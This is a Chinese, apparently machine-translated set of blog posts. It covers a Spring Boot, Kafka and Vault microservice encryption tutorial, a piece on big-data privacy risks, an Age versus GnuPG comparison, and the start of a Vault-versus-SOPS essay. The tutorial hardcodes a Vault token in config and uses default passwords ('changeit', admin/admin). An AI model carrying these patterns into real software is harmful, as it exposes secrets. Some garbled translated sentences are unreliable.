vault: scheme: https host: vault.default.svc port: 8200 connection-timeout: 3600000 read-timeout: 3600000 authentication: TOKEN token: s.WuTNTDpBqsspinc6dlDN0cbz kv: enabled=true:
- 接下来,在 com.azrul.ebanking.transaction.web.rest 包中,创建一个名为 TransactionKafkaResource 的控制器
- [完整来源:https://raw.githubusercontent.com/azrulhasni/Ebanking-JHipster-Kafka-Va…]
- 让我们分解这段代码:
- 首先,我们需要获取请求和响应主题。回想一下我们的架构。另外,我们还在我们的KafkaTemplate中进行了wire,方便我们调用Kafka
- 我们还在 VaultTemplate 中进行接线以方便我们调用 Vault
- 这是我们将收到一个宁静的电话的地方。我们将加密该调用中的数据,创建 ProducerRecord 并将消息发送到 deposit-debit-request 主题。然后,我们将等待来自 deposit-debit-response 主题的回复。回复将包含我们得到的余额。一旦我们有了这些数据,我们就会解密它并返回给调用者。
- 这是我们加密数据的地方。最初,我们的数据是对象(Transaction 类型)的形式。然后我们将其转换为一系列字节。然后将一系列字节转换为 Base64 字符串。接下来,我们使用 Vault Transit 引擎加密 Base64 字符串。
- 这是我们解密数据的地方。最初,我们会得到一个加密的 Base64 字符串。我们需要使用 Vault Transit 引擎解密这个字符串。这将产生一个解密的 Base64 字符串。接下来,我们将 Base64 解密后的字符串解码为一系列字节。最后,我们将一系列字节转换回一个对象。
使用 Transaction 微服务的自签名证书处理 SSL
- 请回想一下我们关于从微服务调用自签名保护端点的困难的讨论(准备信任库段落)。我们将利用 Jib 来帮助我们解决这个问题并部署到 Kubernetes。
- 如果您注意到,JHipster 创建的文件夹之一称为 Jib ($PROJECTS/Transaction/src/main/jib)。此文件夹中的任何内容都将复制到根级别的 Docker 映像。
- 例如。如果我们有 $PROJECTS/Transaction/src/main/jib/myfolder/myfile.txt,当我们创建 Docker 镜像时,Jib 会将 myfolder 和 myfile.txt 复制到 Docker 镜像中。这会在图像中创建 /myfolder/myfile.txt
- 我们将创建一个名为 truststore 的文件夹,并在其中复制我们的主机/本地信任库(cacerts)。这会将 cacerts 复制到 /truststore/cacerts 的映像中。回想一下,我们可以找到信任库作为 JDK 的一部分。请在此处查看堆栈溢出讨论:https://stackoverflow.com/questions/11936685/how-to-obtain-the-location…
- 接下来,我们需要告诉 Java 使用 /truststore/cacerts 中的 cacerts。在我们的 TransactionApp.java 文件的 main 方法中,添加以下行。确保我们使用正确的 cacerts 密码(默认为 changeit):
System.setProperty("javax.net.ssl.trustStore","/truststore/cacerts"); System.setProperty("javax.net.ssl.trustStorePassword","changeit");
设置 DepositAccount 微服务
启动命令行控制台并将其指向 $PROJECTS/DepositAccount 文件夹。跑:
> jhipster
将提出一系列问题。回答他们如下。请注意,当被问及您还想使用哪些其他技术时?不要选择卡夫卡。我们将单独处理 Kafka,而不是通过 JHipster:
? Which *type* of application would you like to create? Microservice application ? [Beta] Do you want to make it reactive with Spring WebFlux? No ? What is the base name of your application? DepositAccount ? As you are running in a microservice architecture, on which port would like yo ur server to run? It should be unique to avoid port conflicts. 8082 ? What is your default Java package name? com.azrul.ebanking.depositaccount ? Which service discovery server do you want to use? JHipster Registry (uses Eur eka, provides Spring Cloud Config support and monitoring dashboards) ? Which *type* of authentication would you like to use? JWT authentication (stat eless, with a token) ? Which *type* of database would you like to use? SQL (H2, MySQL, MariaDB, Postg reSQL, Oracle, MSSQL) ? Which *production* database would you like to use? PostgreSQL ? Which *development* database would you like to use? H2 with disk-based persist ence ? Do you want to use the Spring cache abstraction? No - Warning, when using an S QL database, this will disable the Hibernate 2nd level cache! ? Would you like to use Maven or Gradle for building the backend? Maven ? Which other technologies would you like to use? ? Would you like to enable internationalization support? No ? Besides JUnit and Jest, which testing frameworks would you like to use? ? Would you like to install other generators from the JHipster Marketplace? (y/N ) No
指定对 Kafka 和 Vault 的依赖关系
- DepositAccount 微服务的依赖与 Transaction 微服务相同。无论如何,我们将在这里重复以完成目的
- 首先,让我们处理依赖关系。在文件 $PROJECTS/DepositAccount/pom.xml 中,在 <dependencies> </dependencies> 标记中添加以下依赖项。
<dependency> <groupId>org.springframework.kafka</groupId> <artifactId>spring-kafka</artifactId> <version>2.4.8.RELEASE</version> </dependency> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-clients</artifactId> <version>2.4.1</version> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka_2.13</artifactId> <version>2.4.1</version> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-vault-config</artifactId> <version>2.2.5.RELEASE</version> </dependency>
- 在同一个 pom.xml 文件下,我们还需要在 <dependencyManagement><dependencies> ... </dependencies>
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>Hoxton.RELEASE</version> <type>pom</type> <scope>import</scope> </dependency>
- 需要 spring-cloud-starter-vault-config 和 spring-cloud-dependencies 以允许 Vault 集成
为 DespositAccount 创建数据模型和存储库
- 我们现在将为 DepositAccount 创建一个数据模型。
- 在文件夹 $PROJECTS/DepositAccount/ 中创建一个名为 banking.jh 的文件。在那里,将数据模型放在下面
entity DepositAccount{ accountNumber String, productId String, openingDate ZonedDateTime, status Integer, balance BigDecimal } // Set service options to all except few service all with serviceClass
- // 将服务选项设置为除少数之外的所有选项
使用 serviceClass 服务所有
然后,启动命令行控制台并将其指向文件夹 $PROJECTS/DepositAccount。 运行以下命令:
> jhipster import-jdl ./banking.jh
这将创建诸如 DepositAccountService 等可用于查询和保存存款账户数据的类。
编码 DespositAccount 微服务
- 首先,我们需要与事务微服务相同的 DTO
- 创建名为 com.azrul.ebanking.common.dto 的包,并在其中创建一个名为 Transaction 的类。回想一下,Transaction 类需要实现 Serialisable 接口,需要有一个默认构造函数,并且需要有 equals、hashCode 和 toString 方法:
- [完整源代码:https://raw.githubusercontent.com/azrulhasni/Ebanking-JHipster-Kafka-Va…]
- 然后我们将处理配置。 DepositAccount 微服务的配置与 Transaction 微服务相同。 无论如何,为了完成目的,我们将在这里重复一遍。 下面是 KafkaConfig 类
- 卡夫卡配置
- Spring 使用 spring-kafka 库对 Kafka 提供了广泛的支持。这包括序列化器和反序列化器 - 这将使消息传递类型安全。另一方面,我们不会使用这些序列化器/反序列化器,因为我们将在消息到达我们自己的 Kafka 之前对其进行加密。我们将选择一个基本的字符串序列化器/反序列化器。
- 这是我们将用来连接到 Kafka 的 KafkaTemplate。请注意,我们使用的是一种特殊的 KafkaTemplate,称为 ReplyingKafkaTemplate。这个类将允许我们发送请求并获得响应,而无需我们自己做太多的管道
- 我们还需要一个配置文件。在 $PROJECTS/DepositAccount/src/main/resources/config 文件夹下,在 application.yml 文件中添加:
kafka: bootstrap-servers: kafka-headless.default.svc.cluster.local:9092 deposit-debit-request-topic: deposit-debit-request deposit-debit-response-topic: deposit-debit-response consumer: group.id: transaction auto.offset.reset: earliest producer:
- 在 $PROJECTS/DepositAccount/src/main/resources/config 文件夹下,在文件 bootstrap.yml 中,在 spring.cloud 下添加以下属性。
- 在方案中,确保我们把 https
- 在主机中,确保我们放置自己的 Vault Kubernetes 服务的完全限定域名。回想上面的 Vault Kubernetes Service 段落
- 在连接超时和读取超时中,设置一个合理的超时时间。我们放了一个大的进行测试。放一个小的(比如几秒钟)用于生产
- 在认证中,输入TOKEN,表示我们将通过安全令牌登录
- 在令牌中,确保您在之前的“为加密和解密创建令牌”段落中输入了 client_token 值。
vault: scheme: https host: vault.default.svc port: 8200 connection-timeout: 3600000 read-timeout: 3600000 authentication: TOKEN token: s.WuTNTDpBqsspinc6dlDN0cbz kv: enabled=true:
- 接下来我们将创建一个监听器。在 com.azrul.ebanking.depositaccount.service 包中,创建一个名为 Transfer 的类,如下所示:
- [完整源代码:https://github.com/azrulhasni/Ebanking-JHipster-Kafka-Vault/blob/master…]
- 注入 VaultTemplate 允许我们解密进来的数据并加密返回的数据。
- 注入 DespositAccountService 让我们可以查询和保存存款账户数据
- 这是真正的听众。我们将通过输入参数从请求主题中获取我们的加密数据。我们十继续将这些数据解密到 Transaction 对象中。该对象将告诉我们要借记的源账户、要贷记的目标账户和金额。我们将继续执行该交易并计算借方和贷方账户中的结果余额。然后,我们将借记帐户余额放回消息中,并使用此编辑对象回复发布者。
- 该方法与 Transaction 微服务中的方法相同,用于加密和对象
- 该方法与 Transaction 微服务中的方法相同,用于解密和对象
使用 DepositAccount 微服务的自签名证书处理 SSL
- 就像事务微服务一样,我们需要在这里做同样的事情
- 我们将复制 cacerts(回想一下关于 stackoverflow 上关于 cacerts 在您的系统堆栈溢出中可用位置的讨论:https://stackoverflow.com/questions/11936685/how-to-obtain-the-location…- the-default-java-installation) 到 $PROJECTS/DepositAccounts/src/main/jib/truststore
- 然后,我们需要通过添加以下代码来修改 main 方法(在文件 $PROJECTS/DepositAccounts/src/main/java/com/azrul/ebanking/depositaccount/DepositAccountApp.java 中):
System.setProperty("javax.net.ssl.trustStore","/truststore/cacerts"); System.setProperty("javax.net.ssl.trustStorePassword","changeit");
- [完整源代码:https://raw.githubusercontent.com/azrulhasni/Ebanking-JHipster-Kafka-Va…]
- 在下一部分中,我们将看到如何部署所有这些。
- 38 次浏览
【微服务安全】使用 Spring Boot、Kafka、Vault 和 Kubernetes 保护微服务间通信——第 5 部分:部署和测试
- 第 1 部分:简介和架构
- 第 2 部分:设置 Kubernetes 和 Kafka
- 第 3 部分:设置保险柜
- 第 4 部分:构建微服务
- 第 5 部分:部署和测试 <--本文
部署微服务
- 我们将使用 Jib 进行部署。在这里回忆一下部署到 Kubernetes 的概念 [https://github.com/azrulhasni/Ebanking-JHipster-Keycloak-Nginx-K8#deplo…]
-
我们将首先将我们的图像推送到 Docker Hub (hub.docker.com) 并将它们拉回我们的 Kubernetes 集群。为此,我们需要一个 Docker Hub 帐户。您可以免费注册一个。
构建镜像并部署到 Kubernetes
- 将命令行控制台指向 $PROJECTS/k8s 文件夹。运行命令
> jhipster kubernetes
- 提出的选择是:
- which * type *- 选择微服务应用
- 输入根目录 - 在我们的例子中,我们使用 (../)
- 当被问及您想要包含哪个应用程序时 - 选择 GatewayKafka、Transaction 和 DepositAccount
- 确保输入注册表管理员密码
- 对于 Kubernetes 命名空间 - 选择默认值
- 对于基础 Docker 存储库 - 使用您的 Docker Hub 用户名
- 推送 docker 镜像 - 选择 docker push
- 对于 istio - 设置为否
- 对于边缘服务的 Kubernetes 服务类型 - 选择 LoadBalancer
- 对于动态存储配置 - 是
- 对于存储类,使用默认存储类 - 将答案留空
- 成功后,您将看到以下屏幕
Kubernetes configuration successfully generated! WARNING! You will need to push your image to a registry. If you have not done so, use the following commands to tag and push the images: docker image tag depositaccount azrulhasni/depositaccount docker push azrulhasni/depositaccount docker image tag gatewaykafka azrulhasni/gatewaykafka docker push azrulhasni/gatewaykafka docker image tag transaction azrulhasni/transaction docker push azrulhasni/transaction INFO! Alternatively, you can use Jib to build and push image directly to a remote registry: ./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/depositaccount in /Users/azrul/Documents/GitHub/Ebanking-JHipster-Kafka-Vault/DepositAccount ./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/gatewaykafka in /Users/azrul/Documents/GitHub/Ebanking-JHipster-Kafka-Vault/GatewayKafka ./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/transaction in /Users/azrul/Documents/GitHub/Ebanking-JHipster-Kafka-Vault/Transaction You can deploy all your apps by running the following kubectl command: bash kubectl-apply.sh -f [OR] If you want to use kustomize configuration, then run the following command: bash kubectl-apply.sh -k Use these commands to find your application's IP addresses: kubectl get svc gatewaykafka INFO! Congratulations, JHipster execution is complete!
- 我们将使用 Jib 版本。将命令行控制台指向 $PROJECTS/DepositAccount
- 运行以下命令。这会将 DepositAccount 推送到 Docker Hub。
>./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/depositaccount
- 然后,转到 $PROJECTS/GatewayKafka 并运行以下命令。这会将 GatewayKafka 推送到 Docker Hub。
> ./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/gatewaykafka
- 最后,转到 $PROJECTS/Transaction 并运行以下命令。这会将事务推送到 Docker Hub。
>./mvnw -ntp -Pprod verify jib:build -Djib.to.image=azrulhasni/transaction
- 然后,返回 $PROJECTS/k8s 并运行以下命令。这会将上面的所有三个图像拉到我们的 Kubernetes 集群中。
> bash kubectl-apply.sh -f
- 要验证微服务是否已正确部署并运行,请运行以下命令:
>kubectl get pods
- 您将在下面看到结果。请注意,我们部署了每个微服务、其对应的数据库以及 JHipster 注册表。
测试微服务
- 首先,我们需要安装 JQ。 JQ 是一个允许我们 grep json 数据的工具。 JQ 分布可以在这里找到 https://stedolan.github.io/jq/download/
- 回想一下我们的架构。为了让我们调用事务微服务,我们必须通过我们的网关。还记得我们在创建网关时选择了 JWT 身份验证。运行以下命令为此类访问创建令牌。令牌将被导出到一个名为 TOKEN 的变量中。请注意,我们使用的是默认管理员用户和密码。我们应该为生产创建合适的用户。
> export TOKEN=`curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "password": "admin", "rememberMe": true, "username": "admin" }' 'http://localhost:8080/api/authenticate' | jq -r .id_token`
- 要验证令牌,请运行:
> echo $TOKEN
- 您应该得到如下响应
> echo $TOKEN eyJhbGciOiJIUzUxMiJ9...AE2w
- 首先,我们可能想要创建 2 个存款账户,我们也可以从中借记和贷记。使用下面的 curl 命令。我们将创建一个帐号为 1111 的帐户,余额为 10000。
> curl -X POST "http://localhost:8080/services/depositaccount/api/deposit-accounts" -H "accept: */*" -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d "{ \"accountNumber\": \"1111\", \"balance\": 10000, \"openingDate\": \"2020-10-17T11:55:02.749Z\", \"productId\": \"DEPOSIT\", \"status\": 0}" {"id":1001,"accountNumber":"1111","productId":"DEPOSIT","openingDate":"2020-10-17T11:55:02.749Z","status":0,"balance":10000}
- 然后创建第二个帐户。账号为2222,余额为0
> curl -X POST "http://localhost:8080/services/depositaccount/api/deposit-accounts" -H "accept: */*" -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d "{ \"accountNumber\": \"2222\", \"balance\": 0, \"openingDate\": \"2020-10-17T11:55:02.749Z\", \"productId\": \"DEPOSIT\", \"status\": 0}" {"id":1002,"accountNumber":"2222","productId":"DEPOSIT","openingDate":"2020-10-17T11:55:02.749Z","status":0,"balance":0}
- 现在是关键时刻。让我们将 10 从账户 1111 转移到账户 2222
> curl -X POST "http://localhost:8080/services/transaction/api/transaction-kafka/transfer" -H "accept: */*" -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d "{ \"amount\": \"10\", \"finalBalance\": \"\", \"fromAccountNumber\": \"1111\", \"toAccountNumber\": \"2222\"}" {"fromAccountNumber":"1111","toAccountNumber":"2222","amount":"10","finalBalance":"9990.00"}
- 请注意,finalBalance 字段现在是 9990。
- 您还可以运行下面的 curl 命令来查看两个帐户的当前余额:
> curl -X GET "http://localhost:8080/services/depositaccount/api/deposit-accounts" -H "accept: */*" -H "Authorization: Bearer $TOKEN"
您将收到以下回复:
[ { "id": 1001, "accountNumber": "1111", "productId": "DEPOSIT", "openingDate": "2020-10-17T12:22:57.494Z", "status": 0, "balance": 9990 }, { "id": 1002, "accountNumber": "2222", "productId": "DEPOSIT", "openingDate": "2020-10-17T12:22:57.494Z", "status": 0, "balance": 10 } ]
结论
我们从一个简单的架构开始,我们希望从一个微服务向另一个微服务发送加密消息(并接收响应)。
我们探索了 Kafka,也安装了 Kubernetes。我们还探索了 Vault 并尝试了它的功能。
最后,我们创建了 2 个微服务,并将加密消息从一个发送到另一个并接收回复。我们的教程到此结束
完整的应用程序可以在这里访问:https://github.com/azrulhasni/Ebanking-JHipster-Kafka-Vault
- 26 次浏览
【数据安全】5最糟糕的大数据隐私风险(以及如何防范)
大数据分析有巨大的收益,但也有巨大的潜在风险,可能会导致任何从尴尬到彻底歧视的事情。 这里有什么要注意的 - 以及如何保护自己和员工
正如其支持者近十年来一直在说的那样,大数据可以带来巨大的收益:广告专注于你实际想买的东西,智能型汽车可以帮助您避免碰撞,或者如果碰巧进入救援车,请联系救护车无论如何,可穿戴或可植入的设备,可以监控您的健康,并通知您的医生,如果出现问题。
它也可能导致大的隐私问题。到目前为止,显而易见的是,当人们每天都会产生数千个数据点时,他们去哪里,他们沟通,他们读写什么,他们买什么,吃什么,他们看什么,他们锻炼多少,锻炼多少他们很多睡觉和更多 - 他们容易受到一代以前难以想象的暴露。
同样显而易见的是,在营销人员,金融机构,雇主和政府手中的这些详细信息可以影响从关系到获得工作的一切,以及从符合资格获得贷款甚至上飞机的资格。虽然隐私权倡导者和政府多次表达了关注,但在线,永远相互联系的世界中,改善隐私保护的行动一直很少。
五年多前,奥巴马政府在2012年2月发布了一项名为“消费者权益保障法案”(CPBR)的蓝图。该文件宣称:“美国的消费者隐私数据框架实际上是强大的...(但它)缺少两个要素:适用于商业世界的基本隐私原则的明确声明,以及所有利益相关者持续承诺解决消费者数据隐私问题,因为技术和商业模式的进步。
三年后,2015年2月,该蓝图成为同名提名的立法,但是立即遭到行业团体的攻击,业界人士表示会强加“繁重”的规定,以及隐私权倡导者,他们说这是被充斥漏洞。它从来没有让它投票。
事实上,美国国家安全局(NSA)承包商爱德华·斯诺登(NSA)承诺商爱德华·斯诺登(Edward Snowden)的启示之前,“美国的消费者隐私数据框架实际上是强大的”CPBR声明表明美国政府实际上是对其公民进行监视。
除此之外,政府还未能就其他隐私举措达成一致。联邦通信委员会(FCC)在2016年选举之前发布的所谓宽带隐私规则,这些规则将受到互联网服务提供商(ISP)数据收集有限的限制,已于3月份废除,之后才能生效。
美国消费者联合会(CFA)消费者保护和隐私总监苏珊·格兰特(Susan Grant)称之为“一个可怕的挫折”,并表示允许互联网服务提供商“谍客户并未经许可出售其数据”然而,有人认为,对ISP的限制仍然会让其他像谷歌这样的在线巨头免费收集和销售他们收集的数据,消费者也会看到很少的利益。
鉴于这一点,专家认为隐私风险更加激烈,保护隐私的挑战变得更加复杂,这并不奇怪。像CFA,电子隐私信息中心(EPIC)和民主与科技中心(CDT)等组织,以及隐私教授首席执行官Rebecca Herold等个人倡导者已经列举了大量数据分析和结果自动化的多种方式决策,可以侵犯个人的个人隐私。他们包括:
1.歧视
EPIC在三年多前宣布,在向美国科学技术政策局发表的意见中指出:“现在可以由政府和公司使用公共和私营部门的预测分析来确定我们的能力飞行,获得工作,清关或信用卡。使用我们的协会在预测分析中做出对个人产生负面影响的决定直接抑制结社自由。“
隐私倡导者说,此后事情变得更糟。虽然歧视是非法的,但自动决策使得更难证明。全球共同领导人爱德华·麦克尼科拉斯(Edward McNicholas)说:“大数据算法在过去几年中已经显着成熟,随着新兴事物互联网数据的泛滥,以及使用人工智能变体分析这些数据的能力。 “Sidley Austin律师事务所的隐私,数据安全和信息法实践”,但尽管技术发展有限,法律保护也没有实质性进展。
CDT的政策顾问约瑟夫·杰罗姆(Joseph Jerome)说:“我认为围绕大数据进行的讨论已经超出了对歧视的指责,而对自动化决策的关注越来越大。”CDT的政策顾问Joseph Jerome说:“已被使用,”直接拨打电话中心,评估和消除教师,甚至预测再犯。“
Herold多年来一直在说大数据分析可以使歧视本质上“自动化”,因此更难以检测或证明。她表示,“今天以”比以往更多的方式“是真实的。她说:“大数据分析加上事物互联网(IoT)数据将会 - 并已经能够识别那些个人甚至不认识自己的个人的健康问题和遗传细节。”
McNicholas认为,“最重大的风险是它被用来掩盖基于非法标准的歧视,并证明决定对脆弱人群的不同影响是合理的。”
2.尴尬的违规行为
到目前为止,在像Target和Home Depot这样的多个零售商遇到灾难性的数据泄露之后,像P.F. Chang的在线市场,如eBay,人事管理联邦办公室,暴露了2200万当前和前联邦雇员,大学和在线服务巨头如雅虎的个人信息,公众对信用卡欺诈和身份盗用的认识可能是全部时间高。
不幸的是,风险仍然很高,特别是考虑到数十亿个物联网设备在家用电器到汽车的一切设备仍然是绝对不安全的现实,作为加密和安全大师,IBM首席技术官Bruce Schneier
3.再见匿名
Herold说,在现代生活中做的很多事情越来越难,“没有你的身份与之相关联”。她说甚至取消了数据并不一定会消除隐私风险。 “即使在一两年前使用的标准已经不够了。想要将数据匿名化然后将其用于其他目的的组织将会越来越难。她说:“数据的有效匿名化将很快变得几乎是不可能的,因为相关的个人不能被重新识别。”
除了容易受到破坏之外,IoT设备是用户最多的个人信息的大量数据收集引擎。 Jerome说:“个人正在为智能设备支付费用,制造商可以立刻改变其隐私条款。” “告诉用户停止使用Web服务是一回事;告诉他们拔掉他们的智能电视或断开他们连接的汽车。
4.政府豁免
根据EPIC,“美国人比以往更多的政府数据库”,包括联邦调查局收集个人身份信息(PII)的名单,任何别名,种族,性别,出生日期和地点,社会保险号码,护照驾驶执照号码,地址,电话号码,照片,指纹,银行账户等财务信息,就业和业务信息。
然而,“令人难以置信的是,该机构已经免除了联邦调查局只保留”准确,相关,及时和完整的个人记录“的1974年”隐私法“要求,以及”隐私法“所要求的其他信息保护措施, EPIC说。美国国家安全局还在2014年在犹他州的布拉夫代尔开设了一个存储设施,据报道能够存储12个千兆字节的数据 - 单个zettabyte是将需要7,500亿张DVD存储的信息量。
虽然有来自前总统奥巴马的保证,那个政府是“不听你的电话或是看你的电子邮件”,这显然是说政府是否存储这个问题。
5.你的数据被代理
许多公司收集和销售用于个人资料的消费者数据,没有太多的控制或限制。由于自动化决策,有一些着名的公司开始向孕妇推销产品,之后才告诉家里的其他人。像性取向或像癌症这样的疾病也是如此。
“自2014年以来,数据经纪人一直在为销售他们可以从互联网上找到的所有数据进行销售。而且有几个 - 我没有明确的知道 - 涉及个人的法律保护,“Herold说。 “这种做法会增加,不受约束,直到限制这种用途的隐私法被颁布为止。还有很少甚至没有责任,甚至保证信息是准确的。
我们该怎么办?
那些不是唯一的风险,没有办法消除它们。但是有办法限制它们。根据杰罗姆的说法,一个是使用大数据分析来解决问题。他说:“在许多方面,大数据正在帮助我们做出更好,更公正的决策,”他指出,“这是一个强大的工具,可以帮助用户和反对歧视。可以使用更多的数据来以歧视的方式显示某些事情的完成。传统上,发现歧视的最大问题之一是缺乏数据,“他说。
倡导者普遍认为,国会需要通过CPBR版本,呼吁消费者权利包括:
-
个人控制个人数据公司收集他们以及如何使用它们。
-
透明度或易于理解和可访问的有关隐私和安全措施的信息。
-
以与消费者提供数据的上下文相一致的方式收集,使用和披露个人数据。
-
个人资料的安全和负责任的处理。
-
以可用格式访问他们的个人数据,并纠正错误。
-
公司收集和保留的个人资料的合理限制。
麦克尼科拉斯说,“透明度”应该包括对“隐私政策”的大修,这些“隐私政策”如此密集,充满了几乎没有人读过的法定人士。他说:“告诉消费者阅读隐私政策和选择退出权利似乎是一个更适合上个世纪的解决方案。”消费者隐私必须转向以消费者为中心,消费者对其信息的真正控制。
杰罗姆同意“我当然不认为我们可以期望消费者阅读隐私政策。这是疯狂。我们应该期待的是更好和更多的控制。用户可以查看和删除他们的回音记录是件好事。他说,Twitter允许用户切换所有种类的个性化,并看看谁针对他们,这是非常好的。 “但是最终,如果个人没有提供更多的收集和分享选择,我们将会对我们的个人自主权有严重的问题。”
鉴于国会有争议的气氛,很少有机会像CPBR那样快速通过。那并不意味着消费者手无寸铁。他们能做什么?
即使用户没有阅读完整的政策,Jerome也表示,他们应该“点击”确定“之前还要花一点时间来考虑为什么和他们分享他们的信息。最近的一项研究表明,个人会放弃自己的敏感信息来换取自制饼干。“
Herold提供了其他几种措施来降低您的隐私风险:
-
在社交媒体上退出分享。她说:“如果您只有几个人想要查看照片或视频,请直接发送给他们,而不是发布许多人可以访问的人。”
-
不要为与您开展业务的目的不必要的企业或其他组织提供信息。除非他们真的需要你的地址和电话号码,否则不要给他们。
-
使用匿名浏览器,如Hotspot Shield或Tor(洋葱路由器)访问网站时,可能会产生可能导致人们对您的不准确结论的信息。
-
在不知情的情况下,请别人不要在线分享有关您的信息。 “这可能会感到尴尬,但是你需要做到这一点,”她说,并补充说,艰难的事实是,消费者需要保护自己,因为没有人会为他们做这件事。
关于立法方面,她说她没有听说过CPBR在作品中的其他草稿,“我坦白地说,不要指望在未来四年内会有任何改善消费者隐私的东西;事实上,我预计政府的保护会恶化。 “我希望我错了,”她说。
- 80 次浏览
【数据安全】Age vs GPG
视频号
微信公众号
知识星球
GnuPG和Age之间的主要区别是简单性(或者复杂性,如果你愿意的话):
- 在Age中使用的文件格式比GnuPG(即OpenPGP)使用的格式简单得多,后者相当复杂,因为它必须支持许多用例和许多遗留问题;参见RFC 4880,与age v1相比;
- 密码学套件在Age中非常“固执己见”(每个目的只有一个算法,主要是ChaCha20和Curve25519,两者都由Daniel J.Bernstein开发),而GnuPG(因为它必须实现OpenPGP)支持相当广泛的算法(其中一些不是很“现代”,可能有弱点);因此,当使用GnuPG时,尤其是对于敏感数据,必须知道使用了什么实际算法;
- (与前一点有点关系)可用的加密参数(算法、强度、轮次、密钥大小等)由Age开发人员根据常见的最佳实践进行选择,同时在GnuPG中(由于OpenPGP的支持),人们可以选择(因此很可能是因为不知道削弱加密的含义),默认值更“保守”;
- 然而Age是比GnuPG年轻得多的设计和实现,这既有优势(更干净的代码、当前的最佳实践、当前的密码学等),也有劣势(可能发现潜在问题的审查和审计较少;)(例如,GnuPG试图通过Linux上的mlock使用内存锁定来确保加密材料(即密钥字节)不会泄露给交换;搜索Age的问题和代码以查找mlock或安全内存或内存锁定不会产生任何结果;)
- GnuPG的一个主要优势(这让我个人陷入困境)是存在缓存密钥材料的gpg代理,因此我可以执行多次加密/解密,而无需多次提供密码(或使用无密码身份文件);
- 显然,Age只支持加密/解密,但GnuPG也支持签名;(对于这个用例,可以使用以类似于Age的方式构建的minisign;)
关于您关于Age密码套件安全性的问题,正如Age所说(基于规范):
- ChaCha20-Poly1305(RFC 7539)(由D.J.Bernstein开发)——用于加密实际数据(基于密码和私钥/公钥模式);
- X25519(RFC 7748)(由D.J.Bernstein开发)——用于私钥/公钥加密;
- scrypt(RFC 7914)——用于密码推导;
- HKDF-SHA-256(RFC 5869)——用于各种密钥派生(而非密码);
因此,所有的算法都是基于RFC的(因此,至少听起来符合目的),并且所有算法都是“现代的”,因为社区不建议从它们转向更好的替代方案。(唯一的小例外可能是向Argon2推进的scrypt。)
另一个重要的观察结果是,ChaCha20-Poly1305和X25519都是由D.J.Berstein开发的,这两个似乎都是当前许多开源项目“最喜欢”的密码套件。(尽管密码学不是一场流行竞赛。):)
我是否从GnuPG切换到Age?
目前我一直和GnuPG呆在一起。对于一个单一的用例,我已经使用了Age,如果不是因为#256问题(即无法从文件描述符中读取密码),我会将更多的用例迁移到Age(包括在我的个人笔记本电脑上解密磁盘加密的密钥)。
目前,Age缺少一些用户体验关键功能(至少对我来说):
- 它没有代理来缓存密钥材料;(因此,我只能重复输入密码或使用无密码的身份文件;)
- 它不支持从文件描述符中读取密码;(密码仍然提供了一些,但在早期Linux启动的情况下,必须通过systemd询问密码;)
此外,我仍在观望Age如何进一步发展。Age在GnuPG上的最初特点(至少对我来说)是简单:一个二进制文件可以完成它所支持的所有功能,没有配置文件,没有$HOME强制要求;最近几个月,我在Age的讨论中看到了很多提到的“插件”,因此我担心GnuPG的复杂性会通过这些“可选插件”重新出现。(事实上,文件描述符中的密码被暗示为“插件”,对于早期的系统引导用例来说,这似乎太复杂了。)
- 77 次浏览
【数据安全】HashiCorp Vault被高估,Mozilla与KMS和Git的SOPS被严重低估
视频号
微信公众号
知识星球
当我开始使用Kubernetes和Infrastructure as Code时,我很快发现我需要一个秘密管理解决方案,但当我在谷歌上搜索时,似乎没有就可以普遍应用于所有情况的最佳实践方法达成坚实的共识。因此,今年早些时候,我为自己设定了一个目标,即发现存在哪些应用程序和基础设施秘密管理解决方案,找出我认为最好的解决方案,并掌握它。在追求这个目标的同时,我得出的结论是,HashiCorp Vault被夸大了,而Mozilla与KMS和Git的SOPS被严重低估了。我认为SOPS被低估的主要原因有两个:
- 大多数人对云KMS是什么或做什么没有从技术到外行的理解。
- 这些人没有意识到,尽管过去没有安全的方式在Git中存储加密的秘密,但密码学从那时起就发生了变化,现在由于AWS KMS、Azure KeyVault或GCP KMS等云提供商KMS解决方案,在Git上安全存储加密的密钥成为可能。
Vault的大部分宣传都是有道理的,因为几十年来一直没有好的秘密管理解决方案,然后是Terraform制造商的Vault,它具有内置的秘密轮换功能,随着时间的推移得到了积极维护,拥有出色的文档、支持和社区,Vault是唯一一个满足我对理想的秘密管理方案的要求的解决方案。我说Vault被夸大了,因为我经常认为它被推荐为黄金标准,应该应用于所有机密管理场景。
理想的秘密管理解决方案要求
- 通用(任何云和on-prem)
- 通过REST API或独立于平台的CLI二进制文件与任何技术堆栈很好地集成。(如果它与Terraform、Ansible、Kubernetes和CICD Pipelines顺利集成,则会获得额外奖励)
- 经得起未来考验
- 开源/免费(没有服务消失或价格上涨的风险)
- 大型社区或长期维护的历史(不要放弃软件,除非它可能是永恒的/功能完整的放弃软件,如Unix实用程序)
- 扩展良好并提供高可用性
- 真正安全(我应该能够说服任何安全负责人,它足够防弹,可以通过安全审计。)
- 静止时的加密
- 传输中的加密
- 访问权限应可撤销
- 应预先研究漏洞,并采取应对措施。
- 支持细粒度ACL+开发人员秘密创建自助服务选项
- 开发人员应该能够管理开发秘密,但不能管理产品秘密。
- 运维人员应该能够管理开发和生产机密。
- 项目级隔离:项目A的运作,不应该看到项目B的产品秘密。
- 版本化机密(可以帮助转移和自动化、部署、回滚,以及支持机密和配置在配置文件和数据库连接字符串中交织在一起的技术债务场景。)
*注意:Mozilla SOPS也符合我的要求,但当时我没有意识到,因为我最初认为没有安全的方法来加密git机密。
在git repo中存储机密的安全挑战
- 许多工具都将解密密钥存储在用户的主目录或密钥环(keyring)中,这会导致加密数据和密钥位于同一台机器上。
